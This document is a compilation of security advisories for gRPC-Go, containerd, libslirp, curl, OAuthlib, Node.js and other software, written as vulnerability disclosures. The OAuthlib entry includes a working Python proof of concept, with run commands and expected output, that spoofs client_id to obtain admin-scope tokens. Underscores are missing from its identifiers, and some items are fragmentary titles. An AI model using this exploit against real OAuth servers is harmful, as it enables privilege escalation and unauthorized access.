gcov: use atomic counter updates to fix concurrent access crashes
Apache HTTP Server: modproxyuwsgi Transfer-Encoding response smuggling
MIT Kerberos 5 (krb5) through 1.22.2 contains a NULL pointer dereference in makecredlist() in rdcred.c that allows authenticated Kerberos clients to crash services by sending mismatched KRB-CRED arrays. Attackers can send forwarded credentials with more tickets than ticketinfo entries through gssacceptseccontext() to crash GSS-API acceptor services, causing denial of service.
A vulnerability exists in gRPC-Go servers configured with xds.NewGRPCServer() where a crafted request missing both :authority and Host headers can cause a server panic, resulting in a Denial of Service (DoS).
Servers built with xds.NewGRPCServer install an xDS routing interceptor on every RPC. This interceptor looks up the request’s :authority header to pick a virtual host. The HTTP/2 server transport previously accepted requests that had neither :authority nor Host. When this happened, the xDS routing interceptor attempted to access the first element of an empty slice of authorities, leading to an index out of bounds panic. Since the per-RPC goroutine does not recover from panics, the entire server process would terminate.
This panic occurs in the interceptor pipeline, meaning the transport credentials handshake (TLS, mTLS, or ALTS) and HTTP/2 connection establishment must complete successfully before the crafted request can reach this logic. - Insecure/Standard TLS: If the server permits insecure (plaintext) connections or standard credentials (where client certs are not checked), any unauthenticated remote attacker can trigger the crash. - mTLS / ALTS: If strict transport-level authentication is enforced at the network edge or transport layer (e.g., requiring a valid client certificate), the attacker must possess valid transport credentials to initiate the stream and trigger the panic.
Impact An attacker can cause a complete outage of the gRPC server by sending a request missing both :authority and Host headers, provided they can successfully establish a transport connection.
Patches The issue has been addressed in master (and backported to 1.83.2 and 1.82.2). The fix updates the HTTP/2 transport layer to reject requests missing both :authority and Host headers early, maintaining consistency with and other gRPC language implementations.
Impact
A bug in containerd's CRI ExecSync implementation allows exec probes and lifecycle hooks with background child processes to keep containerd's stdio-drain goroutines indefinitely blocked. Because the I/O drain phase lacks a default timeout or context cancellation handling, repeated ExecSync invocations (like probes) that include long-lived background processes against a container can cause containerd to leak goroutines and host memory. Over time, this resource exhaustion can cause the containerd daemon to be terminated by the OOM killer, rendering containerd unavailable until it is restarted. This issue affects containerd on Linux systems running with the CRI plugin enabled. Users not using containerd's CRI implementation or not running containers on Linux are not affected.
Patches
This bug has been fixed in containerd 2.3.5, 2.2.8, 2.0.12, and 1.7.35. Users should update to these versions to resolve the issue.
Workarounds
Ensure exec probes and lifecycle hooks do not launch long-lived background child processes.
Credits
The containerd project would like to thank XlabAI Team of Tencent Xuanwu Lab (xlabai@tencent.com), including Guannan Wang, Zhanpeng Liu, Jiashuo Liang, and Guancheng Li, and @IamwhatIamSY who independently discovered and responsibly disclosed this issue in accordance with the containerd security policy.
For more information
If there are any questions or comments about this advisory:
Open an issue in containerd Send an email to security@containerd.io
To report a security issue in containerd: Report a new vulnerability Send an email to security@containerd.io
Impact
A vulnerability exists in containerd's layer unpack handler where the processing of certain image layers causes superlinear time complexity. During the unpack operation, specific file configurations within the layer can trigger repeated directory traversals.
Consequently, pulling or importing a maliciously crafted image can result in increased unpack times and a moderate increase in CPU usage. This delays container startup, even if the compressed image layers are small. Additionally, in orchestrators like Kubernetes that apply concurrency limits to image pulls, these excessively long operations can reduce the available concurrency for other pulls, potentially delaying unrelated container deployments.
Patches
This bug has been fixed in containerd 2.3.5, 2.2.8, 2.0.12, and 1.7.35. Users should update to these versions to resolve the issue.
Workarounds
There are no known workarounds for this issue. Users are advised to only pull and import trusted images from known registries until the patch can be applied.
Credits
The containerd project would like to thank Jakub Ciolek of AlphaSense for responsibly disclosing this issue in accordance with the containerd security policy.
For more information
If you have any questions or comments about this advisory:
Open an issue in containerd Email us at security@containerd.io
To report a security issue in containerd: Report a new vulnerability Email us at security@containerd.io
Impact An unauthenticated remote attacker can initiate a gRPC stream and purposefully fragment their payload into millions of tiny (e.g., 1-byte) HTTP/2 DATA frames. Even if the total payload volume falls within the configured connection and stream flow-control windows, each independent fragment incurs memory overhead due to internal tracking structures and queue allocation.
Repeated fragmentation massively inflates the heap space consumed by the stream. An attacker multiplexing multiple concurrent streams can exhaust the memory bounds of the runtime, forcing a runtime panic or OutOfMemory condition and leading to a remote Denial of Service (DoS).
Patches The change to fix this issue is merged in master and a patch release, 1.83.1, has been published that contains this fix.
Workarounds This vulnerability is mitigated by implementing receive buffer compaction. Consecutive small data buffers are automatically coalesced into larger buffers from a shared pool once the overhead is perceived to be excessive relative to actual payload data, drastically minimizing per-frame memory overheads.
This behavior is enabled by default. A temporary escape hatch is provided via the environment variable GRPCGOEXPERIMENTALENABLERECEIVEBUFFERCOMPACTION=false to disable the feature if unforeseen issues arise, but it will be removed in a future release.
In sshd in OpenSSH before 10.6, credentials can incorrectly persist after failure of a GSSAPIAuthentication authentication attempt.
In sshd and ssh in OpenSSH before 10.6, an LZ77 dictionary coder can be used even though this is contraindicated by the arXiv 2609.07709 "Crossing the Streams" findings.
A flaw was found in libmodulemd. In the module stream v2 rpm-map emission path, an inner loop incorrectly uses the count of digest algorithms as its bound instead of the number of checksums in the current digest table. Crafted modulemd v2 metadata with multiple digest types can trigger an out-of-bounds read during YAML serialization, typically causing a crash and resulting in a denial of service.
A flaw was found in libslirp in ifoutput() in src/if.c. When demoting an interactive session from the fast queue to the batch queue after throughput limits were exceeded, the code called slirpremque() and slirpinsque() on ifm->mnextpkt (an arbitrary packet in the circular session list) instead of the session queue head. This corrupted doubly-linked queue pointers. Subsequent traversals in ifstart() could crash the host process that embeds libslirp (for example QEMU or slirp4netns), resulting in a guest-to-host denial of service.
A flaw was found in libslirp in icmpforwarderror() in src/ipicmp.c. When constructing an ICMP error packet, the length of the quoted original packet (siplen) was derived from the IP header field iplen without clamping it to the actual mbuf length (msrc->mlen). A truncated or malformed IPv4 packet could cause memcpy to read past the end of the source mbuf on the host heap, embedding residual host memory into the ICMP error packet returned over the virtual network interface. An unprivileged guest or container process able to send crafted packets through libslirp could disclose host heap contents.
Summary
OAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied clientid from the request body.
In affected token grant flows, authenticateclient(request) sets request.client to the authenticated client object, but OAuthlib does not require request.clientid to match request.client.clientid. If the request body already contains clientid=..., OAuthlib keeps that value and passes it to validategranttype() and validatescopes().
As a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's clientid in the token request body, and cause grant and scope validation to run under that other client identity.
Affected Surface
The affected public surface is the OAuth2 token endpoint handling for:
- clientcredentials - password / Resource Owner Password Credentials
The issue is relevant to OAuthlib provider deployments where:
- the attacker has credentials for one valid lower-privilege confidential client; - another client has broader grants or scopes; - the application validator uses the clientid argument passed by OAuthlib in validategranttype() or validatescopes(), as the RequestValidator API is designed to support.
Deployments whose validators ignore the clientid argument and authorize only from request.client may not be affected.
Details
Request parses query and body parameters into request attributes, including clientid:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397
The RequestValidator.authenticateclient() contract requires the integrator to authenticate the client and set request.client:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/requestvalidator.py#L41-L66
For the clientcredentials grant, OAuthlib authenticates the client, verifies that request.client has a clientid, then performs grant and scope validation before normalizing request.clientid from request.client.clientid:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/granttypes/clientcredentials.py#L106-L119
The problematic order is:
python if not self.requestvalidator.authenticateclient(request): ... elif not hasattr(request.client, 'clientid'): ...
self.validategranttype(request)
request.clientid = request.clientid or request.client.clientid self.validatescopes(request)
Because OAuthlib only fills request.clientid when it is missing, an attacker-supplied body value such as clientid=high survives even when request.client.clientid == "low".
The shared grant helper then authorizes using request.clientid, while passing the authenticated client object separately:
- validategranttype(request.clientid, request.granttype, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/granttypes/base.py#L152-L162 - validatescopes(request.clientid, request.scopes, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/granttypes/base.py#L164-L176
The same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing request.clientid from request.client.clientid:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/granttypes/resourceownerpasswordcredentials.py#L87-L97 - https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/granttypes/resourceownerpasswordcredentials.py#L178-L195
This creates an inconsistent identity state:
text request.client.clientid == "low" # authenticated client request.clientid == "high" # attacker-supplied request parameter
OAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled request.clientid as the first-class clientid argument.
Impact
An authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the RequestValidator API and authorizes by the clientid argument.
Concrete impact can include:
- issuing access tokens with scopes not assigned to the authenticated client; - allowing a low-privilege client to use a grant type reserved for a higher-privilege client; - persisting tokens under a spoofed clientid while the authenticated client object is different.
This is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.
PoC
Create the following files in an empty directory.
requirements.txt:
text oauthlib==3.3.1
repro.py:
python import base64 import json
from oauthlib.oauth2 import ( BearerToken, ClientCredentialsGrant, RequestValidator, ResourceOwnerPasswordCredentialsGrant, TokenEndpoint, )
class Client: def init(self, clientid): self.clientid = clientid
CLIENTS = { "low": { "secret": "low-secret", "grants": {"clientcredentials", "password"}, "scopes": {"read"}, }, "high": { "secret": "high-secret", "grants": {"clientcredentials", "password"}, "scopes": {"read", "admin"}, }, }
class DemoValidator(RequestValidator): def init(self): self.savedtokens = []
def authenticateclient(self, request, args, kwargs): authorization = request.headers.get("Authorization", "") prefix = "Basic " if not authorization.startswith(prefix): return False
decoded = base64.b64decode(authorization[len(prefix):]).decode("utf-8") clientid, secret = decoded.split(":", 1) record = CLIENTS.get(clientid) if record is None or record["secret"] != secret: return False
# This is the authenticated client identity. request.client = Client(clientid) return True
def clientauthenticationrequired(self, request, args, kwargs): return True
def validategranttype(self, clientid, granttype, client, request, args, kwargs): record = CLIENTS.get(clientid) return record is not None and granttype in record["grants"]
def validatescopes(self, clientid, scopes, client, request, args, kwargs): record = CLIENTS.get(clientid) return record is not None and set(scopes or []) <= record["scopes"]
def getdefaultscopes(self, clientid, request, args, kwargs): return []
def validateuser(self, username, password, client, request, args, kwargs): if username == "alice" and password == "wonderland": request.user = username return True return False
def savebearertoken(self, token, request, args, kwargs): self.savedtokens.append({ "token": dict(token), "authenticatedclientid": request.client.clientid, "requestclientid": request.clientid, "scopes": list(request.scopes or []), })
validator = DemoValidator() token = BearerToken(validator, expiresin=3600) endpoint = TokenEndpoint( defaultgranttype="clientcredentials", defaulttokentype=token, granttypes={ "clientcredentials": ClientCredentialsGrant(validator), "password": ResourceOwnerPasswordCredentialsGrant(validator), }, )
def lowclientheaders(): value = base64.b64encode(b"low:low-secret").decode("ascii") return {"Authorization": f"Basic {value}"}
def tokenrequest(body): headers, responsebody, status = endpoint.createtokenresponse( "https://auth.example/token", body=body, headers=lowclientheaders(), ) return status, json.loads(responsebody)
def assertrejected(label, body): status, response = tokenrequest(body) print(label, status, response) if status == 200: raise SystemExit(f"{label}: expected rejection, got success")
def assertspoofedsuccess(label, body): status, response = tokenrequest(body) print(label, status, response) if status != 200: raise SystemExit(f"{label}: expected token, got {status} {response}") if response.get("scope") != "admin": raise SystemExit(f"{label}: expected admin scope, got {response}")
saved = validator.savedtokens[-1] if saved["authenticatedclientid"] != "low": raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}") if saved["requestclientid"] != "high": raise SystemExit(f"{label}: spoofed request clientid was not preserved: {saved}")
assertrejected( "control clientcredentials as low requesting admin", "granttype=clientcredentials&clientid=low&scope=admin", ) assertspoofedsuccess( "spoofed clientcredentials as low with clientid=high", "granttype=clientcredentials&clientid=high&scope=admin", )
assertrejected( "control password as low requesting admin", "granttype=password&clientid=low&username=alice&password=wonderland&scope=admin", ) assertspoofedsuccess( "spoofed password as low with clientid=high", "granttype=password&clientid=high&username=alice&password=wonderland&scope=admin", )
print("OAUTHLIBCLIENTIDSPOOFINGCONFIRMED") print(json.dumps(validator.savedtokens, indent=2, sortkeys=True))
Run:
bash python -m venv .venv . .venv/bin/activate python -m pip install -r requirements.txt python repro.py
Expected result:
text control clientcredentials as low requesting admin 400 {'error': 'invalidscope'} spoofed clientcredentials as low with clientid=high 200 {'accesstoken': '...', 'expiresin': 3600, 'tokentype': 'Bearer', 'scope': 'admin'} control password as low requesting admin 400 {'error': 'invalidscope'} spoofed password as low with clientid=high 200 {'accesstoken': '...', 'expiresin': 3600, 'tokentype': 'Bearer', 'scope': 'admin', 'refreshtoken': '...'} OAUTHLIBCLIENTIDSPOOFINGCONFIRMED
The success condition is that both successful token responses are produced while the saved token state shows:
json { "authenticatedclientid": "low", "requestclientid": "high", "scopes": ["admin"] }
That demonstrates that the authenticated client is low, while grant and scope authorization used the attacker-supplied clientid=high.
Suggested Remediation
After client authentication succeeds, OAuthlib should reject a token request if an explicit request clientid is present and does not match request.client.clientid.
For authenticated confidential-client flows, a safer invariant is:
python if request.client is not None: if request.clientid is not None and request.clientid != request.client.clientid: raise InvalidClientError(...) request.clientid = request.client.clientid
This should happen before validategranttype() and validatescopes() are called.
Reporters:
- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/ - ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/ - cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/ - chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/ - cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/
EDK2 contains a vulnerability in BIOS where a user may cause “Out-of-bounds Write”, Classic Buffer Overflow, and “Incorrect Calculation of Buffer Size” by remote access. Successful exploitation of this vulnerability can lead to arbitrary code execution. It could also impact Confidentiality, Integrity, and Availability.
An authenticated HTTPS origin can supply an HSTS max-age value that the parser accepts, but time serialization later fails to process. On 64-bit systems, extreme max-age values compute an absolute expiry within standard time integer limits that exceeds calendar time structure bounds. During cache saves, the original HSTS file is truncated before writing a temporary replacement; when serialization fails, the temporary file is deleted, leaving an empty or partial cache. Because the save error is silently ignored during cleanup, curl exits successfully despite the data loss.
Enabling CURLOPTCRLF causes curl to advertise the raw input byte count in the IMAP APPEND {N} literal while transmitting line-ending expanded data. The server reads only $N$ bytes for the payload, causing the remaining overflow bytes to be interpreted and executed as pipelined IMAP commands within the authenticated session.
Last updated 19 October 2026
By permanently omitting the final control-response line, a malicious FTP, IMAP, POP3, or SMTP server can exploit libcurl and completely bypass its configured transfer timeout mechanism, indefinitely blocking all concurrent transfers bound to the same multi-handle.
HSTS cache import drops longer-lived child
-J no-clobber guarantee bypassed with 103 early hints
An HTTP proxy can trick libcurl into sending the origin's credentials (Basic password, or a Negotiate/Kerberos ticket) to the proxy itself, by answering the CONNECT tunnel request with 401 WWW-Authenticate: instead of the expected 407 Proxy-Authenticate:.
A flaw in the curl command line tool's logic makes it only set SSH host verification options when interacting directly using SFTP or SCP, and not as a result of following a redirect.
A deeply nested multipart MIME structure constructed via the public API causes a stack overflow in libcurl during normal cleanup operations. An excessive recursion depth within curlmimefree leads to unbounded stack frame allocation during structure traversal, ultimately crashing the host process.
Last updated 14 October 2026
Last updated 20 October 2026
Last updated 20 October 2026
knownhost callback mismatches key as missing
local interface connection reuse mixup
A flaw in Node.js Permission Model filesystem enforcement can grant access to paths that do not match a wildcard --allow-fs-read or --allow-fs-write rule. When the requested path is shorter than the prefix of a wildcard grant, the radix tree lookup stops comparing early and treats the path as a match. For example, --allow-fs-read=/etc/passwd. also allows reading /etc/passwd. This requires the wildcard grant to sit directly under the root of the permission tree, for example when it is the only grant for that scope. This is a different root cause from CVE-2026-58043. This vulnerability affects Node.js 26.x.
CheckSetDoodad() allocates doodad->text.text via GetCountedString() and then attempts to allocate doodad->text.font. If the font string allocation fails (e.g. because the font string length extends past the request boundary), the error handler frees doodad->text.text but does not NULL the pointer. The doodad was already added to the geometry by XkbAddGeomDoodad() before the string allocations, so when XkbFreeGeometry() runs cleanup, XkbClearDoodad() frees the same dangling pointer again, resulting in a double-free.
NULL the pointer after freeing it to prevent the double-free.
This vulnerability was discovered by: Anonymous working with TrendAI Zero Day Initiative
ZDI-CAN-31221